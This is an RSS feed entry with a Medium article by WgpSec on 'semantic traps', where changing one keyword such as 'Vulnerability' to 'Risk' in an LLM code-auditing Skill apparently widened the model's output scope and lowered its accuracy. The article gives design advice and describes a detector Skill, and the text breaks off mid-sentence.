<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by WgpSec on Medium]]></title>
        <description><![CDATA[Stories by WgpSec on Medium]]></description>
        <link>https://medium.com/@wgpsec?source=rss-8f7cabea8024------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*32N3C3wdKt2rJnOW.jpg</url>
            <title>Stories by WgpSec on Medium</title>
            <link>https://medium.com/@wgpsec?source=rss-8f7cabea8024------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 00:41:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@wgpsec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ Don’t Let LLMs “Overthink”: Semantic Traps and Anti-Hallucination Design in SKILL Development]]></title>
            <link>https://wgpsec.medium.com/dont-let-llms-overthink-semantic-traps-and-anti-hallucination-design-in-skill-development-254aeafb56ff?source=rss-8f7cabea8024------2</link>
            <guid isPermaLink="false">https://medium.com/p/254aeafb56ff</guid>
            <category><![CDATA[skills]]></category>
            <category><![CDATA[llm]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[WgpSec]]></dc:creator>
            <pubDate>Sat, 07 Mar 2026 07:49:13 GMT</pubDate>
            <atom:updated>2026-03-07T07:49:13.224Z</atom:updated>
            <content:encoded><![CDATA[<h3>📌 Introduction: A Shocking Discovery</h3><p>In today’s era of booming Large Language Model (LLM) applications, “Skills” — as a vital extension of an LLM’s capabilities — are playing an increasingly critical role. However, during our actual development process, we uncovered a startling phenomenon: <strong>simply replacing a single keyword can cause a world of difference in a Skill’s accuracy.</strong></p><p>We used two nearly identical code auditing Skills and conducted a comprehensive comparative experiment on Claude Code + DeepSeek V3.2 against the same test set of marketing APIs (56 APIs in total). Both Skills shared the exact same workflow, reference file structure, and toolchain. The only difference was the choice of the core term: one used “Vulnerability” and the other used “Risk”.</p><p>The experimental results were thought-provoking:</p><p>Skill Core Term Accuracy biz-vul-security Vulnerability <strong>89.3%</strong> biz-risk-security Risk <strong>62.1%</strong></p><p>Incredibly, <strong>this massive 27-percentage-point gap stemmed from the simple substitution of a single word.</strong></p><p>This is not an isolated case. If you have ever participated in the development of Skills, Prompts, or Agent workflows, you have likely encountered similar frustration — even when the instruction logic is written crystal clear, the LLM still insists on “freestyling,” producing a large amount of content that exceeds the expected scope.</p><p>This article will delve into the deep-seated reasons behind this phenomenon. We define it as a “<strong>Semantic Trap</strong>” — pairs of words that share similar meanings in everyday human context but have vastly different semantic boundaries in the LLM’s cognitive space. An inappropriate word choice can quietly breach your meticulously designed Skill constraint system.</p><h3>📖 Chapter 1: How One Word Changed the Audit Results</h3><h3>1.1 Case Background</h3><p>To ensure that readers without a professional background in security auditing can fully understand, let’s first explain the core of this audit task in plain language:</p><p>We were looking at an “External Voucher Claim” API (outflow/voucher/receive). When a user clicks the &quot;Claim Voucher&quot; button in a mini-program, the system calls this API. The core question we need to evaluate is: <strong>Does this API have security vulnerabilities? Specifically, can an attacker manipulate request parameters to illegally obtain prizes that do not belong to their designated marketing campaign?</strong></p><p>The correct answer is “No security vulnerability exists.” This is because the critical marketing parameter (campId) is read from the server-side configuration rather than being passed in from the user&#39;s request. The parameters that the user can control (recordId, sendOrderIds) have no direct binding relationship with the marketing campaign logic.</p><h3>1.2 Deep Comparative Analysis of the Two Reports</h3><p>Two Skills audited the exact same piece of code but produced polar opposite conclusions. This comparison vividly reveals the significant impact of semantic choice on LLM behavior.</p><p><strong>Judgment result of </strong><strong>biz-vul-security (using the word &quot;Vulnerability&quot;):</strong></p><pre>Is it a marketing API: Yes<br>Arbitrary prize issuance vulnerability judgment: No vulnerability<br>Logic chain:<br>  1. campId is retrieved from config → Not externally controllable → Arbitrary prize issuance vulnerability does not hold<br>  2. sendOrderIds is externally controllable but not traversable → No vulnerability per specific API definition<br>  3. Final judgment → No vulnerability</pre><p>The entire analysis process is organized and logically rigorous. It strictly followed the judgment standards in the definition file, systematically completed all processes, and ultimately reached a flawless conclusion.</p><p><strong>Judgment result of </strong><strong>biz-risk-security (using the word &quot;Risk&quot;):</strong></p><pre>Is it a marketing API: No<br>API risk level: Low Risk<br>Discovered security issues and code defects:<br>  1. Code logic error: Line 92, &amp;&amp; should be ||<br>  2. Insufficient parameter validation: sendOrderIds lacks detailed validity checks<br>  3. Missing permission control: Missing ACL permission control file</pre><p>This Skill not only got the marketing API identification completely wrong (the correct answer should be “Yes”), but it also “creatively invented” three categories of problems that simply do not exist in the risk definition file: code logic errors, insufficient parameter validation, and missing permission control. While these are indeed code quality issues, they fall completely outside the defined audit scope of the Skill.</p><p>Notably, the “Vulnerability” version of the Skill explicitly stated in its SKILL.md: &quot;Focus only on vulnerability types defined in the vulnerability definition file; do not evaluate other vulnerability types, default to no vulnerability.&quot; The &quot;Risk&quot; version contained the exact same constraint clause, merely replacing &quot;Vulnerability&quot; with &quot;Risk&quot;: &quot;Focus only on risk types defined in the risk definition file; do not evaluate other risk types, default to no risk.&quot;</p><p>However, under the constraint of the word “Vulnerability,” the LLM strictly adhered to the evaluation boundaries, but after switching to “Risk,” this supposedly equally binding rule became effectively useless. This phenomenon profoundly reveals the latent influence of lexical semantics on LLM behavior.</p><h3>1.3 A Crucial Question Worth Pondering</h3><p>Reading this, you might wonder: Was the “Risk” version of the Skill poorly written in some specific details?</p><p>The answer is no. We performed a thorough diff comparison of all files for both Skills—including the main SKILL.md file, the vulnerability/risk definition files, the judgment example files, the Step execution frameworks, etc. The results showed that everything was completed via mechanical text replacement—uniformly replacing &quot;Vulnerability&quot; with &quot;Risk&quot;. There were no structural differences, no omitted constraints, and no altered judgment logic.</p><p>So, where exactly does the root of the problem lie?</p><h3>🛠️ Chapter 2: How to Build a High-Quality LLM Skill</h3><p>Before diving deep into “why things went wrong,” let’s first look at “what the correct, error-free approach is.” Although biz-vul-security is specifically designed for security auditing scenarios, the design methodology it embodies carries important reference value for Skill development in any domain.</p><h3>2.1 Structured Workflow: Constraining the Execution Path with Rigorous Processes</h3><p>biz-vul-security meticulously deconstructs the audit task into 6 mandatory key steps:</p><pre>STEP 1: Progress File Creation (Create a new progress file)<br>STEP 2: Trace Analysis (Core defense detection)<br>STEP 3: Parameter Flow Analysis (Critical parameter tracking)<br>STEP 4: API Analysis (Marketing API identification)<br>STEP 5: Vulnerability Assessment Judgment (Based on vulnerability definition standards)<br>STEP 6: Generate Final Answer Report</pre><p>Each step has clear inputs, execution actions, and outputs. There are strict dependencies between steps; skipping or reordering them is strictly prohibited. SKILL.md explicitly states: &quot;STEPs 1-6 cannot be skipped or ignored; any violation requires restarting from the beginning.&quot;</p><p>The essence of this design is not about writing a user manual; it’s about paving a deterministic “execution runway” for the LLM. If you don’t provide the LLM with such a clear runway, it will naturally drift off into unintended directions.</p><p><strong>🔑 Transferable Core Principle</strong>: Regardless of what task your Skill performs — writing documentation, analyzing data, or generating code — breaking the task down into an ordered sequence of dependent steps is far more reliable than writing a vague natural language description. LLMs are not afraid of a high number of steps; what truly confuses them is the ambiguity of step descriptions.</p><h3>2.2 The “Validate → Execute → Verify” Three-Stage Mechanism: Eliminating Skipped Steps</h3><p>Internally, each STEP is further subdivided into three strict execution phases:</p><ul><li><strong>Phase 1 — Pre-validation</strong>: Read the progress file, confirm that the previous step was successfully completed, and mark the start status of the current step.</li><li><strong>Phase 2 — Execution</strong>: Record the command about to be executed, run the specific command, and write the analysis results to the progress file.</li><li><strong>Phase 3 — Post-validation</strong>: Read back the last few lines of the progress file, check if the command execution record truly exists, verify that the analysis conclusion has been successfully written, and finally mark the completion time.</li></ul><p>This design houses an incredibly ingenious mechanism: it forces the LLM to “look back” at its own work during every step. It is well known that LLMs have a common flaw — rules and standards agreed upon earlier are often “forgotten” when executing later steps. By introducing a progress file paired with a mandatory read-back mechanism, we essentially build a reliable external memory system for the LLM. Reading the progress file before starting each STEP acts as an explicit reminder to the LLM: “This is the stage you reached previously, and these are the conclusions you have already drawn.”</p><p><strong>🔑 Transferable Core Principle</strong>: For any critical step, you should design external state files (like progress files, intermediate result files, etc.) and require the LLM to read and write between steps. This approach is vastly more reliable than relying on the LLM’s own “memory capabilities.”</p><h3>2.3 Definition Files: Defining Boundaries Precisely, Leaving No Room for Interpretation</h3><p>biz-vul-security is equipped with a vul_definitions.md definition file. While quite long, its functional purpose is very pure—to precisely define &quot;what constitutes a vulnerability, and what does not&quot; through exhaustive enumeration.</p><p>For instance, its “No Vulnerability Scenarios” section lists a total of 11 specific items, each corresponding to a clear code pattern:</p><blockquote><strong><em>❝</em></strong></blockquote><ol><li><strong>Parameters retrieved from configuration</strong>: Critical marketing parameters like campId and prizeId are obtained from configuration files, database configs, environment variables, or related configurations (trusted sources), rather than being passed in via request parameters.</li></ol><p>Even more thoughtfully, the file preemptively identifies and corrects common misjudgments:</p><blockquote><strong><em>❝</em></strong></blockquote><ul><li>❌ Misjudgment: campId is from config but calls a marketing API → Low-risk vulnerability</li><li>✅ Correct: campId is from config → Not externally controllable → <strong>No vulnerability</strong></li></ul><p>Furthermore, a vul_assessment_examples.md file is provided, containing 9 complete judgment examples. Each example includes a code snippet, a detailed analysis process, and a final conclusion. This is a classic Few-shot prompting strategy—using specific, real-world cases to show the LLM &quot;how these abstract rules manifest in actual code.&quot;</p><p><strong>🔑 Transferable Core Principles</strong>:</p><ol><li><strong>Use enumeration instead of description</strong>: Avoid vague phrases like “Beware of possible misjudgments.” Instead, explicitly state: “The following three situations are easily misjudged as X; the correct judgment should be Y.”</li><li><strong>Provide judgment examples</strong>: Let the LLM see the complete chain of Input → Analysis → Output. This is much more effective than simply listing rules.</li><li><strong>Layer your reference files</strong>: Place only the workflow and core principles in SKILL.md. Put specific definition standards and judgment examples in separate reference files to be read on demand. This effectively prevents context overload while ensuring critical information can be precisely located and retrieved.</li></ol><h3>2.4 Dedicated Toolchain: Empowering the Skill with Execution Capabilities</h3><p>biz-vul-security relies on a specialized Skill named code-search-tool, which is backed by a powerful fast_code_client.py script. This tool features rich functions like code searching, method body extraction, ACL permission checking, and call chain tracking.</p><p>Traditional MCP (Model Context Protocol) tools are usually generic — offering basic functions like searching files, reading files, and executing commands. Such tools have a fundamental limitation: they cannot tell the LLM <strong>when to use them, why to use them, or how to use them</strong>. When given a pile of generic tools, an LLM often hesitates over “Should I call this tool?” or “What parameters should I use?”, frequently making incorrect choices.</p><p>The design philosophy of code-search-tool is completely different—it explicitly defines the timing and method of use for each command within the Skill itself. For example, STEP 2 specifies using find_entry to locate API entries and defense to detect global defense mechanisms; STEP 3 dictates using extract_method to extract method bodies. Search results are also intelligently sorted by audit priority (Controller &gt; Impl &gt; Interface), so the LLM doesn&#39;t have to guess &quot;which result is more important.&quot; In other words, code-search-tool pre-answers the &quot;When, Why, and How&quot; at the Skill level; the LLM simply needs to follow the map.</p><p><strong>🔑 Transferable Core Principle</strong>: If your Skill requires interaction with external systems, do not just provide generic tools; provide domain-customized professional tools. Generic tools give the LLM too many options, whereas customized tools effectively narrow the choice space, significantly increasing the probability of correct LLM operations.</p><h3>2.5 Summary: The Four Core Pillars of Building a High-Quality Skill</h3><p>Pillar Core Function Problem Combatted 🏗️ Structured Workflow Defines clear execution paths and sequences Prevents skipping steps and out-of-order execution ✅ Validate-Execute-Verify Loop External state management + mandatory read-backs Prevents forgetting and “cutting corners” 📋 Definition Files + Examples Exhaustive boundary definition Prevents freestyling and out-of-bounds judgments 🔧 Domain-Customized Tools Narrows the operational space Prevents invalid exploration and incorrect operations</p><p>These four core pillars demonstrated exceptional synergy in biz-vul-security. Under the clear semantic constraint of the word &quot;Vulnerability,&quot; the LLM strictly followed the six-step workflow and produced highly accurate judgment results.</p><p>However, when “Vulnerability” was replaced by “Risk,” this identical four-pillar system failed to exert its constraint. This finding leads us to a crucial issue — the profound impact of semantic selection on LLM behavior.</p><h3>🧠 Chapter 3: Semantic Traps — The Hidden Root of LLM Hallucinations</h3><h3>3.1 What is a Semantic Trap?</h3><p>First, let’s provide a rigorous definition:</p><blockquote><strong><em>❝</em></strong></blockquote><blockquote><strong><em>Semantic Trap</em></strong><em>: Pairs of words that have similar meanings in everyday human context but exhibit massively different activation ranges (i.e., semantic boundaries) in the semantic space of an LLM. Using a word with a semantic boundary that is too broad will cause the LLM’s output to breach the constraints set by the Prompt, thereby generating hallucinations.</em></blockquote><p>It must be emphasized that this is fundamentally different from the traditional Prompt Engineering advice of “using precise wording.” Traditional methodologies suggest avoiding vague instructions — for instance, changing “analyze this code” to “check this code for SQL injection vulnerabilities.” This is essentially refining at the <em>instructional level</em>.</p><p>However, Semantic Traps are much more hidden and deep-seated — they occur <em>after</em> you have already written highly precise instructions. Even if you have thoroughly defined judgment standards, provided rich examples, and set strict constraints, the improper choice of a single “key noun” can quietly expand the LLM’s cognitive scope, rendering all your meticulously designed constraint mechanisms useless.</p><h3>3.2 The Fundamental Difference Between “Vulnerability” and “Risk” in LLM Cognition</h3><p>Let’s dissect the semantic characteristics of these two key terms.</p><p><strong>The Semantic Pointer of “Vulnerability” in the LLM’s Semantic Space:</strong></p><ul><li>A specific, exploitable security defect.</li><li>Possesses clear binary judgment criteria: It either exists or it doesn’t.</li><li>Has deterministic verification methods: Can it be reproduced and exploited?</li><li>The semantic boundary is clear and narrow; its focal range is highly concentrated.</li></ul><p>When a Skill declares “Focus only on vulnerability types defined in the vulnerability definition file,” the constraint signal received by the LLM is clear and unequivocal. The term “Vulnerability” inherently possesses a “deterministic” attribute — it acts like a tightened net, precisely restricting the LLM’s attention to the specific types explicitly listed in the definition file.</p><p><strong>The Semantic Space Characteristics of “Risk” are Entirely Different:</strong></p><ul><li>Represents a possibility, a potential trend.</li><li>Lacks clear binary judgment criteria: It is fundamentally a question of degree (High/Medium/Low).</li><li>Inherently carries a “prospective” attribute: Potential, future, likely to happen.</li><li>The semantic boundary is fuzzy and broad; its focal range is extremely vast.</li></ul><p>When a Skill declares “Focus only on risk types defined in the risk definition file,” the LLM accepts the constraint on the surface, but the term “Risk” has already activated a vastly larger associative network in its semantic space. Consequently, the LLM engages in “divergent thinking” — <em>Is a code logic error a risk? Does insufficient parameter validation constitute a risk? Is a lack of ACL permission control also a risk?</em> It is worth noting that the LLM is not fabricating things out of thin air; these <em>do</em> constitute “risks” in a broader sense. But they are not within the Skill’s defined evaluation scope.</p><p>This is the core essence of a Semantic Trap: <strong>The inherent semantic breadth of the vocabulary itself can override and break through the boundary control mechanisms established by the Prompt.</strong></p><h3>3.3 Data-Driven Deep Analysis of Error Patterns</h3><p>In the 56 test API experiments, the errors produced by biz-risk-security (using the word &quot;Risk&quot;) exhibited highly clear and regular patterns:</p><p><strong>🔴 Error Type 1: Scope Overflow (68% of error cases)</strong></p><p>The LLM outputted risk types that were completely absent from the definition file. These “creatively invented” risk categories mainly included:</p><ul><li>“Insufficient Parameter Validation Risk”</li><li>“Missing Permission Control Risk”</li><li>“Code Logic Error Risk”</li><li>“Configuration Change Risk”</li></ul><p><strong>🟡 Error Type 2: Exaggerated Severity (24% of error cases)</strong></p><p>APIs that should have been judged as “No Risk” were incorrectly classified as “Low Risk.” The typical pathway was: The LLM found some “imperfections” in the code (e.g., a parameter missing format validation), and subsequently classified it as “Low Risk,” even though these “imperfections” failed to meet any of the risk judgment criteria in the definition file.</p><p><strong>🟢 Error Type 3: Logical Deviation (8% of error cases)</strong></p><p>Faced with the exact same code, the “Risk” version produced completely different analysis pathways compared to the “Vulnerability” version. In the earlier example, the “Vulnerability” version correctly identified it as a marketing API (because it ultimately called a marketing RPC interface), while the “Risk” version made the incorrect judgment of “Not a marketing API.”</p><p>These three error patterns collectively reveal a core characteristic: <strong>The LLM’s “thought process” jumped outside the analytical framework defined by the Skill.</strong> It did not make computational errors within the framework; rather, it viewed the code through the broader cognitive lens of “Risk,” discovered extra information, and then incorporated this out-of-scope information into the final report.</p><p>In contrast, biz-vul-security (using the word &quot;Vulnerability&quot;) almost never committed these types of errors. Its 10.7% error rate stemmed primarily from technical analysis mistakes in highly complex call chains, which had nothing to do with semantic choices.</p><h3>3.4 A Vivid Analogy</h3><p>To understand this phenomenon more intuitively, imagine the following scenario: You send an intern to a warehouse to take inventory, giving them a detailed checklist of criteria.</p><ul><li><strong>Version A Instruction</strong>: “Please check the warehouse for <strong>damaged</strong> goods, strictly following the damage criteria on the checklist.”</li><li><strong>Version B Instruction</strong>: “Please check the warehouse for <strong>problematic</strong> goods, strictly following the problem criteria on the checklist.”</li></ul><p>The checklist content is identical. However, the intern with Version A will focus purely on physical damage — marking pass/fail strictly on that basis. But the intern with Version B? They will likely report extras like, “This box is stored irregularly,” “That batch’s labels are crooked,” or “This shelf is dusty” — because the semantic boundary of the word “problematic” is much wider than “damaged.”</p><p>The LLM’s behavioral pattern is exactly the same. “Vulnerability” equates to “Damaged,” and “Risk” equates to “Problematic.”</p><h3>3.5 The Universality of Semantic Traps — More Common Examples</h3><p>Similar semantic trap word pairs are ubiquitous in Skill development practices. Below is a curated list of typical representatives:</p><p>Narrow Boundary Word (✅ Recommended) Broad Boundary Word (⚠️ Use with Caution) Typical Out-of-Control Scenario Check Review “Review” triggers subjective evaluations, while “Check” triggers objective pass/fail judgments. List Describe “Describe” triggers explanatory and commentary content, while “List” outputs structured items. Defect Issue/Problem “Issue” is too broad; even improvement suggestions might be classified as an “Issue.” Summarize Analyze “Analyze” triggers reasoning and hypothetical thinking, while “Summarize” extracts existing info. Requirement Suggestion “Suggestion” triggers divergent thinking, while “Requirement” outputs explicit conditions. Error Anomaly “Anomaly” is vaguely defined; even minor deviations might be included in the report.</p><p>These word pairs share a common characteristic: The words on the left point to a more compact associative network in the LLM’s semantic space, while those on the right activate a much broader network.</p><p>Based on this finding, we abstracted it into a 2D analytical framework with practical guiding value — <strong>The LLM Semantic Sensitivity Matrix</strong>:</p><pre>Clarity of Boundaries<br>            High ←————→ Low<br>        ┌──────────────────────────┐<br>  Low   │ Vulnerability Defect Error │ ← Safe Zone<br>  ↑     │ Check         List   Req.  │<br> Diver- │──────────────────────────  │<br> gent   │ Summarize     Issue  Review│<br> Tend-  │ Suggestion    Analyze Risk │ ← Danger Zone<br> ency   │ Anomaly       Assess Descr.│<br>  ↓     └──────────────────────────┘<br>  High</pre><p>Words closer to the top-left of the matrix have more convergent semantic representations in the LLM, making their outputs more controllable. Words closer to the bottom-right have more divergent semantics, giving the LLM more room for “free creation.”</p><h3>3.6 Theoretical Elevation: Why Semantic Boundary Control is More Fundamental Than Prompt Engineering</h3><p>Traditional Prompt Engineering focuses on “writing clear instructions.” Whether it’s format constraints, role-playing, Few-shot examples, or Chain-of-Thought prompting… these techniques essentially optimize at the “instruction level.”</p><p>However, Semantic Boundary Control focuses on a deeper, more fundamental dimension: <strong>Do the words you use to build the instruction inherently expand the LLM’s cognitive scope?</strong></p><p>Think of it this way: Traditional Prompt Engineering is like building a wall for a house, whereas Semantic Boundary Control is testing whether the bricks you use will expand on their own. If the bricks themselves are prone to expansion, no matter how precisely you lay them, the wall will eventually crack.</p><p>In the case of biz-risk-security, the Skill&#39;s &quot;wall&quot; was built impeccably—featuring a full 6-step workflow, strict Validate-Execute-Verify loops, exhaustive definition files, and detailed examples. Yet, the &quot;Risk&quot; &quot;brick&quot; self-expanded within the LLM&#39;s semantic space, ultimately cracking the meticulously constructed wall.</p><p>This profoundly explains why many developers feel frustrated when tuning Prompts: “I’ve written the instructions so clearly, why does the LLM still disobey the rules?” The root cause might not be that your instructions are unclear, but that a specific keyword is vastly “wider” in the LLM’s cognitive world than you anticipated.</p><h3>🎯 Chapter 4: Practical Guide to Avoiding Pitfalls — Identifying and Preventing Semantic Traps</h3><h3>4.1 Core Principle of Word Choice: Always Bias Towards Narrow Boundaries</h3><p><strong>Core Principle: Provided it accurately expresses your intent, always choose the word with the narrowest semantic boundary.</strong></p><p>Specific operational methods include:</p><ol><li><strong>Use nouns instead of adjectival descriptions.</strong> For example, “Detect security vulnerabilities in the code” is better than “Assess the security of the code.” The former has a explicit target object (vulnerabilities), while the latter’s target object (security) is an abstract concept with fuzzy boundaries.</li><li><strong>Use verb-object structures instead of open-ended verbs.</strong> For example, “List all unhandled exceptions” is better than “Analyze the exception handling.” The former tells the LLM the output format (list) and target object (unhandled exceptions), while the latter grants the LLM too much discretionary space.</li><li><strong>Pre-test the semantic width of “synonyms.”</strong> Before finalizing a core term, evaluate candidate words using this standardized test template: “Please {word} this code” or “Please provide a {word} report.” If you can envision several drastically different but reasonable output formats, the word’s semantic boundary is likely too broad.</li></ol><h3>4.2 Systematic Semantic Drift Testing Methods</h3><p>After writing a Skill, we recommend using the following three methods to systematically test whether your core terms will trigger semantic drift:</p><p><strong>📝 Test 1 — Exclusion Test</strong></p><p>Provide the key constraint sentence from your Skill (e.g., “Only focus on the types of X defined in the X definition file”) to the LLM, and ask: “Besides the types explicitly listed in the definition file, what other ‘X’ do you think should be included in the scope?”</p><p>If the LLM easily lists a large amount of extra content, it indicates your core term is too broad and should be replaced with a narrower word.</p><p><strong>📝 Test 2 — Minimum Contrast Test</strong></p><p>Prepare a standard test case that you are certain contains no issues. Run it through your current Skill and carefully examine if the output contains “content outside the defined scope.” If such content is found, strictly log the phrasing used (e.g., “XX Risk,” “XX Issue”). These phrases are classic traces of semantic drift.</p><p><strong>📝 Test 3 — Substitution Contrast Test</strong></p><p>Replace the core term with a narrower synonym, rerun it on the same batch of test cases, and systematically compare the outputs of the two versions. This is exactly the comparative experiment we ran between biz-vul-security and biz-risk-security.</p><h3>4.3 Highly Effective Boundary Anchoring Strategies</h3><p>When business requirements force you to use a broader word (e.g., the business side insists on using the term “Risk”), you can use the following strategies to effectively anchor the semantic boundaries:</p><p><strong>🛡️ Strategy 1 — Pre-emptive Negative List (Explicit Exclusion List)</strong></p><p>Add a clear “Does Not Include” exclusion list at the very top of your definition file:</p><pre>## The &quot;Risk&quot; defined in this Skill ONLY includes:<br>1. Arbitrary Prize Issuance Risk<br>2. Extended Parameter Injection Risk<br>3. DTO Layer DB Manipulation Risk</pre><pre>## The following are OUTSIDE the evaluation scope (even if they are normally considered &quot;risks&quot;):<br>- Code quality issues (logical errors, bad naming conventions, etc.)<br>- General security issues (SQL injection, XSS, etc.)<br>- Architectural design issues (missing ACL, missing rate limits, etc.)<br>- Performance issues</pre><p><strong>🛡️ Strategy 2 — Hard Constraints on Output Format</strong></p><p>Design the output format of the Final Answer as a highly structured “fill-in-the-blank” rather than an open-ended “essay prompt”:</p><pre>{<br>  &quot;Arbitrary Prize Issuance Risk Assessment&quot;: &quot;No Risk | Low Risk | Medium Risk | High Risk&quot;,<br>  &quot;Extended Parameter Injection Risk Assessment&quot;: &quot;No Risk | Low Risk | Medium Risk | High Risk&quot;,<br>  &quot;DTO Layer DB Manipulation Risk Assessment&quot;: &quot;No Risk | Medium Risk&quot;<br>}</pre><p>When the output format is strictly limited to pre-defined fields and enums, the LLM loses the space and possibility to sneak in “extra findings.”</p><p><strong>🛡️ Strategy 3 — Counter-example Reinforcement in Few-Shot Examples</strong></p><p>Intentionally add counter-examples to your Few-shot sample set to show scenarios that “look like risks but actually aren’t”:</p><pre>## Counter-example: The following situation is imperfect but does NOT qualify as a risk defined by this Skill.</pre><pre>### Counter-example 1: Insufficient Parameter Validation<br>The code lacks length restrictions and format validation for `sendOrderIds`.<br>Judgment: Out of Evaluation Scope → Default No Risk<br>Reason: The adequacy of parameter validation is not a risk type defined by this Skill.</pre><p>The role of the counter-example here is to draw an impassable red line for the LLM: “When you encounter this type of situation during the audit, you must not include it in the risk assessment.”</p><h3>4.4 Complete Skill Self-Checklist</h3><p>After developing a Skill, systematically check the following items:</p><ul><li>[ ] <strong>🔤 Core Term Check</strong>: Have you chosen the noun with the narrowest semantic boundary for core terms (task names, evaluation targets)?</li><li>[ ] <strong>🧪 Exclusion Test</strong>: When giving the core constraint + core term to the LLM and asking “what else belongs to X,” is the output acceptable?</li><li>[ ] <strong>📋 Negative List</strong>: Does the definition file contain a clear, detailed “Does Not Include” exclusion list?</li><li>[ ] <strong>📐 Output Format</strong>: Is the Final Answer format a structured “fill-in-the-blank” rather than an open-ended “essay”?</li><li>[ ] <strong>❌ Counter-example Coverage</strong>: Do the examples contain counter-examples of things that “look like it, but aren’t”?</li><li>[ ] <strong>✅ Minimum Contrast Test</strong>: On a standard clean test case, does the Skill perfectly match expectations without adding “extra content”?</li><li>[ ] <strong>💾 Progress File</strong>: Did you design an external state file to combat the LLM’s tendency to forget?</li><li>[ ] <strong>🔧 Tool Adaptation</strong>: Are the provided tools domain-specific enough to effectively narrow the LLM’s operational space?</li></ul><h3>🤖 Chapter 5: From Theory to Tooling — The Semantic Trap Detector</h3><p>The previous four chapters completely laid out the discovery of the problem, the root causes, and the coping strategies. However, an unavoidable reality is: Manually reviewing text word-by-word for semantic traps is time-consuming and prone to omissions. When your Skill file exceeds hundreds of lines and definition files/examples are scattered across multiple references, manual review is nearly impossible.</p><p>Based on the theoretical framework proposed in this article, we built an automated tool — the <strong>Semantic Trap Detector</strong> (semantic-trap-detector). It is itself a Skill that runs in LLM development environments like Claude Code / Cursor, specifically designed to perform a semantic &quot;static analysis&quot; after a Skill is written.</p><h3>5.1 Design Philosophy: Using Skills to Check Skills</h3><p>The core idea behind the Semantic Trap Detector is encoding the theories of Chapter 3 and the practical experiences of Chapter 4 into executable detection rules. Specifically, it does three things:</p><ol><li><strong>Solidifies Semantic Trap word pairs into a Lexicon.</strong> We took the 7 high-risk word pairs validated in our experiments (e.g., Vulnerability/Risk, Check/Review, List/Describe) and 10 extended pairs inferred via semantic patterns, placing them into a structured Lexicon file. Each pair is tagged with a Trap ID, semantic width differential, and typical out-of-control scenarios.</li><li><strong>Solidifies the review process into a 4-step workflow.</strong> Rather than relying on human experience, it guides the LLM through deterministic steps: Load Lexicon → Extract Keywords → Word-by-Word Match &amp; Context Analysis → Generate Report.</li><li><strong>Solidifies Boundary Anchoring Strategies into actionable advice.</strong> The report doesn’t just point out bad words; it provides specific replacement options and anchoring strategies, making the report immediately actionable.</li></ol><h3>5.2 Four-Step Detection Workflow</h3><p>The detector’s workflow is as follows:</p><p><strong>STEP 1: Load Lexicon</strong></p><p>The detector first reads a semantic trap lexicon file (semantic-trap-lexicon.md), which contains all known trap word pairs, the LLM Semantic Sensitivity Matrix, judgment examples, and anchoring strategies. This forms the knowledge base.</p><p><strong>STEP 2: Extract Keywords</strong></p><p>It extracts four categories of keywords from the text:</p><ul><li><strong>Core Terms</strong>: Task type nouns (e.g., Vulnerability, Risk, Issue).</li><li><strong>Action Directives</strong>: Verbs instructing the LLM (e.g., Analyze, Check, Review).</li><li><strong>Constraint Words</strong>: Words limiting scope (e.g., Suggestion, Requirement, Rule).</li><li><strong>Output Descriptors</strong>: Words describing the desired output (e.g., Describe, List, Report).</li></ul><p>These four correspond to the places in Skill instructions most vulnerable to semantic traps.</p><p><strong>STEP 3: Word-by-Word Matching &amp; Context Analysis</strong></p><p>Every extracted keyword goes through a two-layer check:</p><p>Layer one is a Lexicon Match — is it on the known broad-boundary list? Layer two is Contextual Role Analysis — the same word carries different risks depending on its placement. For example, “Analyze” inside a constraint (“Only <em>analyze</em> X type”) is high-risk, but as an auxiliary description (“From an <em>analytical</em> perspective”) is low-risk.</p><p>Furthermore, even if a word isn’t in the lexicon, if it exhibits the common traits of broad-boundary words — degree-based rather than binary, prospective, triggers subjective evaluation, loose associative network — the detector flags it as a suspected trap.</p><p>It also identifies four structural risk patterns:</p><p>Pattern Example Risk Open verb + no scope limit “Analyze code” without specifying dimensions Semantic Divergence Adjectival Target “Assess security” instead of “Detect vulnerabilities” Abstract noun expands scope Modal Verb Downgrade Using “should” instead of “must” in constraints Weakened constraints Missing Negative List Using broad words but lacking exclusion items Unbounded fallback</p><p><strong>STEP 4: Generate Detection Report</strong></p><p>Finally, it outputs a structured report containing three parts:</p><ol><li><strong>Detection Details Table</strong> — Lists the original word, Trap ID, risk level, contextual role, and recommended replacement.</li><li><strong>Replacement Suggestions</strong> — Provides the revised sentence and the reasoning for the change.</li><li><strong>Boundary Anchoring Advice</strong> — If the business insists on a broad word, it provides specific anchoring plans (negative lists, hard constraints, counter-examples).</li></ol><h3>5.3 A Detection Example</h3><p>Suppose we write the following Skill instruction:</p><pre>Please review the security issues in this code, focusing only on the issue types in the definition file.</pre><p>This sentence looks logically sound. But the detector will flag two semantic traps:</p><p>Original Trap ID Risk Recommended Reason Review T02 High Check “Review” triggers subjective evaluation; “Check” triggers pass/fail. Issues T04 High Vulnerabilities “Issues” is incredibly broad; even suggestions get categorized as “issues”.</p><p>The replacement sentence would be:</p><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Please </em><strong><em>check</em></strong><em> the security </em><strong><em>vulnerabilities</em></strong><em> in this code, focusing only on the </em><strong><em>vulnerability</em></strong><em> types in the definition file.</em></blockquote><p>Just replacing two words pulls this instruction back from the “Danger Zone” of the Semantic Sensitivity Matrix into the “Safe Zone.”</p><h3>5.4 Continuous Evolution of the Lexicon</h3><p>The Semantic Trap Lexicon is not a static artifact. As more Skills are developed and more data accumulated, the lexicon continuously expands. Currently, it includes 17 Chinese word pairs and 10 English word pairs across the four categories.</p><p>More importantly, the lexicon provides concrete descriptions of “out-of-control scenarios” rather than just a simple “Recommended/Not Recommended” label. This allows developers to judge whether they truly need to replace a word or just anchor its boundaries 